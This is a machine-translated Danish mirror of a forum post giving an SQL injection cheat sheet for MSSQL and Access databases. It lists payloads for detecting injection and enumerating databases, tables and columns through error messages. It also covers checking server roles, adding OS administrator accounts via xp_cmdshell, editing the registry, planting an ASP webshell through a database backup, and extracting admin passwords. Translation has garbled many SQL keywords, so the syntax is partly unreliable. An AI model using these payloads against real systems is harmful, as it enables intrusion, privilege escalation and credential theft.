Denne artikel er en spejling af maskinoversættelse, klik venligst her for at springe til den oprindelige artikel.

Udsigt: 14167|Svar: 0

[Sikker kommunikation] SQL-injektion almindelige sætninger

[Kopier link]
Opslået på 22/11/2014 17.17.21 | | |
1. Afgør om der er en injektion
; og 1=1
; og 1=2

2. Foreløbig vurdering af, om det er mssql
; og bruger>0

3. Vurder databasesystemet
; og (vælg antal(*) fra sysobjects)>0 mssql
; og (vælg antal(*) fra msysobjects)>0 adgang

4. Injektionsparameteren er et tegn
'og [forespørgselskriterier] og ''='

5. Der er ingen filtrerede parametre under søgningen
'og [forespørgselskriterier] og '%25'='

6. Gæt navnet på bordet
; og (vælg Count(*) fra [tabelnavn])>0

7. Gæt feltet
; og (vælg Count (feltnavn) fra tabelnavn)>0

8. Gæt længden af rekorden i marken
; og (vælg top 1 len(feltnavn) fra tabelnavn>0

9. (1) Gæt ASCII-værdien af feltet (adgang)
; og (vælg top 1 asc(mid(field name, 1,1)) fra tabelnavn)>0

(2) Gæt ASCII-værdien af feltet (mssql)
; og (vælg top 1 unicode(substring(feltnavn,1,1)) fra tabelnavn)>0

10. Testtilladelsesstruktur (mssql)
; og 1=(vælg IS_SRVROLEMEMBER('sysadmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('serveradmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('setupadmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('securityadmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('diskadmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('bulkadmin')); --
; og 1=(vælg IS_MEMBER('db_owner')); --

11. Tilføj en konto til mssql og systemet
; exec master.dbo.sp_addlogin brugernavn; --
; exec master.dbo.sp_password null, brugernavn, adgangskode; --
; exec master.dbo.sp_addsrvrolemember sysadmin brugernavn; --
; exec master.dbo.xp_cmdshell 'netbrugerbrugernavn adgangskode /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'netbrugerbruger-adgangskode /tilføjelse'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators brugernavn /add'; --

12. (1) Gennemgå kataloget
; Opret tabel-di'er (paths varchar(100), id int)
; indsæt dirs executive master.dbo.xp_dirtree 'c:\'
; og (vælg top 1 stier fra dirs)>0
; og (vælg top 1-stier fra di'er, hvor stier ikke er i ('stier opnået fra forrige trin'))>)

(2) Gennemgå kataloget
; lav tabeltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; indsæt midlertidig leder master.dbo.xp_availablemedia; -- Få alle strømdrev
; indsæt i temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Få en liste over undermapper
; indsæt i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hent mappetræstrukturen for alle undermapper
; indsæt i temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Se indholdet af filen

13. Lagrede procedurer i mssql
xp_regenumvalues Registreringsregister-rodnøgle, børnenøgle
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' returnerer alle nøgleværdier i flere postsæt
xp_regread Rodnøgle, børnenøgle, nøgle-værdi navn
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' returnerer værdien af set-nøglen
xp_regwrite Rodnøgle, børnenøgle, værdinavn, værditype, værdi
Der findes to typer værdityper, REG_SZ REG_DWORD for tegntyper og for heltal
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' til registreringsdatabasen
xp_regdeletevalue Rodnøgle, undernøgle, værdinavn
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' for at fjerne en værdi
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' for at fjerne nøglen, inklusive alle værdier under den nøgle

14. mssql-backup opretter en webshell
Brug modellen
oprette table cmd (STR-billede);
indsæt i cmd(str)-værdier ('<% Dim oScript %>');
Backup databasemodel til disk='c:\l.asp';

15. MSSQL indbyggede funktioner
; og (vælg @@version)>0 for at få versionsnummeret for Windows
; og user_name()='dbo' for at afgøre, om den tilsluttede bruger af det nuværende system er SA
; og (vælg user_name())>0 Eksploderede de tilsluttede brugere af det nuværende system
; og (vælg db_name())>0 for at få den aktuelt tilsluttede database



MSSQL håndannoteret databaseovertrædelse

1. Eksponér det aktuelle tabelnavn og kolonnenavn
Indsend "'having 1=1--" efter injektionspunktet for at få returbeskeden på engelsk, hvor du kan se et tabelnavn og et kolonnenavn. Indsend "group by the list name with 1=1--" for at få et andet kolonnenavn; Fortsæt med at indsende "group efter listen over den eksponerede tabels navn, navnet på den eksponerede tabel. Anden kolonnenavn har 1=1--", hvilket giver dig et andet kolonnenavn. Commit på samme måde, indtil siden ikke længere returnerer fejlmeddelelser for at hente alle kolonnenavne. Trivia: Voldelige tabelnavne og kolonnenavne bruges i kombination med GROUP BY i SQL-udsagn for at foretage betingede vurderinger. Fordi sætningen er ufuldstændig, returnerer databasen en fejlmeddelelse og viser et tabelnavn og et kolonnenavn. Den grundlæggende metode kan kun vise den aktuelle tabel i databasen, og hvis en tabel indeholder mange kolonnenavne, er det meget vanskeligt at bruge den grundlæggende metode.

For det første. Alle databasenavne er eksponeret
Brug sætningen "and 0<>(select count(*) from master.dbo.sysdatabases, hvor name>1 og dbid=[N])" til at vise vilkårlige tabel- og kolonnenavne i databasen, hvor "[N]" repræsenterer den N-te tabel i databasen.
Trin 1: Efter at have indsat punktet, indsend følgende sætning: "og 0<>(vælg antal(*) fra master.dbo.sysdatabases, hvor name>1 og dbid=12)", fordi værdien af dbid er fra 1 til 5, som bruges af systemet, så brugeren skal have bygget det fra 6, og vi har indsendt navnet>1, navnefeltet er et tegntypefelt, og talsammenligningen vil være forkert, så efter indsendelse vil IE returnere følgende information: "Microsoft OLE DB Provider for ODBC Drivers fejl ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konverterer nvarchar-værdien 'Northwind' til datatype int klumme. På denne måde eksponeres værdien af navnefeltet, det vil sige, vi får et databasenavn "Northwind". Ændring af værdien af "dbid" kan få alle databasenavnene frem.

og 0<>(vælg antal(*) fra master.dbo.sysdatabases, hvor name>1 og dbid=[N])-- Ænder N for at eksplodere alle databasenavne fra 6


For det andet. Eksponér alle tabelnavne i den angivne database
Efter at have fået databasenavnet, skal du nu hente alle tabelnavnene i biblioteket, indsende følgende sætning: "og 0<>(vælg top 1-navn fra master.dbo.sysobjects hvor xtype='U')", her er tabelnavnet i masterdatabasen, og SQL-sætningen for forespørgslen returnerer værdien af navnet, og sammenlign det derefter med tallet 0, så værdien af navnet bliver eksponeret. Efter indsendelsen blev bordets navn "'spt_monito" afsløret.
Derefter vises de andre tabeller, og følgende sætning indsendes: "and 0<>(select top 1 name from master.dbo.sysobjects, hvor xtype='U' og navn ikke i('spt_monito'))", og en anden tabel med navnet "cd512" er eksponeret. Fil "og navn ikke i(' spt_monito',' CD512',..))" Du kan finde alle bordnavnene.

og 0<>(vælg top 1-navn fra [angiv databasenavn].dbo.sysobjects hvor xtype='U')--
og 0<>(vælg top 1-navn fra [angiv databasenavn].dbo.sysobjects hvor xtype='U' og navn ikke er i('[Eksploderet tabelnavn]'))--
og 0<>(vælg øverste 1-navn fra [angiv databasenavn].dbo.sysobjects hvor xtype='U' og navn ikke er i('[Eksplosivt tabelnavn]', '[Eksploderet andet tabelnavn]')))--

4. Eksponér alle kolonnenavne i den angivne tabel
og 0<>(vælg antal(*) fra bbs.dbo.sysobjects hvor xtype='U' og name='admin' og uid>(str(id)))
Konverter ID-værdien til en tegntype og sammenlign den derefter med en heltalsværdi. ID-nummeret er ude. Værdien er: 949578421 navn='tabelnavn'

og 0<>(vælg top 1-navn fra wutong.dbo.syscolumns, hvor id=949578421)-- Et feltnavn i admin-tabellen vises

Genindsend og 0<>(vælg top 1 navn fra wutong.dbo.syscolumns hvor id=949578421 og navn ikke er i('adduser')))--
Fil "og navn ikke i(' spt_monito',' CD512',..))" Du kan finde alle feltnavnene i admin-tabellen.


og 0<>(vælg antal(*) fra [angiv databasenavn].dbo.sysobjects hvor xtype='U' og name='[Tabelnavn på felt, der skal eksploderes]' og uid>(str(id)))--ID-værdien for tabelnavnet på det felt, der skal eksploderes,

og 0<>(vælg top 1-navn fra [angiv databasenavn].dbo.syscolumns hvor id=eksploderet id-værdi)-- Navnet på et felt i eksploderende id-værditabellen

og 0<>(vælg øverste 1-navn fra [angiv databasenavn].dbo.syscolumns hvor id=Eksplosiv id-værdi og navn ikke er i('[Eksploderet feltnavn]')))--



5. Læs dataene i den angivne tabel

og 0<(vælg A_ID fra wutong.dbo.admin hvor A_UserID>1) – det indhold, der brød A_PWD

og 0<(vælg [et felt, der eksisterer] fra [angiv databasenavn].dbo.[tabelnavn til forespørgsel] hvor [feltnavn til eksploderet indhold]>1)--

og 0<(vælg A_ID fra wutong.dbo.admin hvor A_PWD>1 og A_UserID='admin')-- Adminens adgangskode afsløres


og 0<(Vælg Top 1 A_UserID FRA admin hvor A_ID<>1)-- Administratornavnet id<>1 (fuhao)

og 0<(Vælg Top 1 A_UserID FRA admin hvor A_ID <>1 og A_UserID <> 'fuhao')-- Navnet på den anden administrator <> ikke lig med (tuiguang)

og 0<(Vælg Top 1 A_UserID FRA admin hvor A_ID <>1 og A_UserID <> 'fuhao' og A_UserID <> 'tuiguang')--

Efter at have kendt tabel- og kolonnenavnet i databasen, kan du bruge "query-sætningen" til at læse enhver information i databasen. For eksempel, hvis du vil læse de N-te data i en kolonne i en tabel, kan du indsende sætningen: "og (Vælg Top 1-kolonnenavn FRA tabelnavn, hvor id=[N])>1" ([N] repræsenterer den N-te data i kolonnen), og du kan kende de ønskede data ud fra den information, IE returnerer.






Tidligere:Sådan skjuler du en komprimeret rar-fil i en jpg-fil
Næste:Saml "Harry Potter" 1~7 Tag den ud og del den Hvis du ikke kan lide den, så spray den ikke
Ansvarsfraskrivelse:
Al software, programmeringsmaterialer eller artikler udgivet af Code Farmer Network er kun til lærings- og forskningsformål; Ovenstående indhold må ikke bruges til kommercielle eller ulovlige formål, ellers skal brugerne bære alle konsekvenser. Oplysningerne på dette site kommer fra internettet, og ophavsretstvister har intet med dette site at gøre. Du skal slette ovenstående indhold fuldstændigt fra din computer inden for 24 timer efter download. Hvis du kan lide programmet, så understøt venligst ægte software, køb registrering og få bedre ægte tjenester. Hvis der er nogen overtrædelse, bedes du kontakte os via e-mail.

Mail To:help@itsvse.com